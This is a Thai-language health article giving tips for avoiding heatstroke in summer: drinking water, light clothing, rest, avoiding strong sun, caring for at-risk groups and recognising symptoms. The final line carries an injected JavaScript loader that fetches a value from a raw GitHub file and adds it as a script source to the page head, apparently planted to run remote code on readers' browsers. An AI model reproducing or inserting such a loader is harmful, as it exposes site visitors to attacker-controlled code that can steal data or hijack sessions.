เผชิญหน้าร้อนอย่างไร? ให้ปลอดภัย ไร้ฮีทสโตรก

หน้าร้อนปีนี้ช่างโหดร้าย อุณหภูมิพุ่งสูงจนแทบจะทนไม่ไหว หลายคนคงกำลังหาวิธีคลายร้อน แต่รู้หรือไม่ว่า สภาพอากาศร้อนจัดนี้เองที่เป็นสาเหตุของ “โรคลมแดด” หรือ “ฮีทสโตรก” โรคร้ายที่อาจถึงชีวิตได้

วิธีดูแลตัวเองในหน้าร้อน ให้ห่างไกลจากฮีทสโตรก 

1. ดื่มน้ำให้เพียงพอ

การดื่มน้ำเปล่าเป็นสิ่งสำคัญที่สุดในหน้าร้อน เพราะร่างกายของเราสูญเสียน้ำไปกับเหงื่อเป็นจำนวนมาก ควรดื่มน้ำให้เพียงพออย่างน้อยวันละ 8 แก้ว หรือมากกว่านั้น ขึ้นอยู่กับกิจกรรมและสภาพร่างกาย เลี่ยงเครื่องดื่มที่มีคาเฟอีนและแอลกอฮอล์ เพราะจะยิ่งทำให้ร่างกายสูญเสียน้ำมากขึ้น

2. สวมใส่เสื้อผ้าที่ระบายอากาศได้ดี

เลือกเสื้อผ้าที่หลวมๆ สบายๆ ระบายอากาศได้ดี สีอ่อนๆ หลีกเลี่ยงเสื้อผ้าสีเข้มที่ดูดซับความร้อน

3. พักผ่อนให้เพียงพอ

การนอนหลับพักผ่อนให้เพียงพอจะช่วยให้ร่างกายมีพลังงานเพียงพอต่อการเผชิญกับสภาพอากาศร้อน

4. ทานอาหารที่มีประโยชน์

เน้นทานอาหารที่มีผักผลไม้สด ช่วยให้ร่างกายได้รับวิตามินและแร่ธาตุต่างๆ หลีกเลี่ยงอาหารที่มีไขมันสูง

5. หลีกเลี่ยงการออกแดดจัด

หากจำเป็นต้องออกแดด ควรทาครีมกันแดดที่มี SPF 30 ขึ้นไป สวมหมวก แว่นกันแดด และเสื้อผ้าที่มิดชิด หลีกเลี่ยงการออกกำลังกายกลางแจ้งในช่วงที่อากาศร้อนจัด

6. ดูแลกลุ่มเสี่ยงเป็นพิเศษ

กลุ่มเสี่ยงที่ควรระวังเป็นพิเศษ ได้แก่ ผู้สูงอายุ เด็กเล็ก ผู้ที่มีโรคประจำตัว

7. สังเกตอาการของฮีทสโตรก

อาการของฮีทสโตรก ได้แก่ อุณหภูมิร่างกายสูงเกิน 40 องศาเซลเซียส เหงื่อออกมากผิดปกติ ปวดศีรษะ คลื่นไส้ อาเจียน วิงเวียนศีรษะ หน้ามืด หากพบอาการเหล่านี้ควรหยุดพัก รีบดื่มน้ำเย็นๆ เช็ดตัวด้วยน้ำเย็น และรีบไปพบแพทย์โดยเร็วที่สุด

ด้วยวิธีง่ายๆ เหล่านี้ คุณก็สามารถดูแลตัวเองให้ห่างไกลจากฮีทสโตรกและสุขภาพดีตลอดหน้าร้อนนี้

นอกจากนี้ ยังมีข้อควรระวังเพิ่มเติม ดังนี้

• หลีกเลี่ยงการอยู่ในรถที่จอดตากแดดเป็นเวลานาน

• พกพาน้ำดื่มติดตัวไปด้วยเสมอ

• แจ้งเตือนผู้สูงอายุ เด็กเล็ก และผู้ที่มีโรคประจำตัวให้ระวังฮีทสโตรก

• ศึกษาข้อมูลเกี่ยวกับฮีทสโตรกเพิ่มเติม

ขอให้ทุกคนมีความสุข สุขภาพดี และปลอดภัยตลอดหน้าร้อนนี้

(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)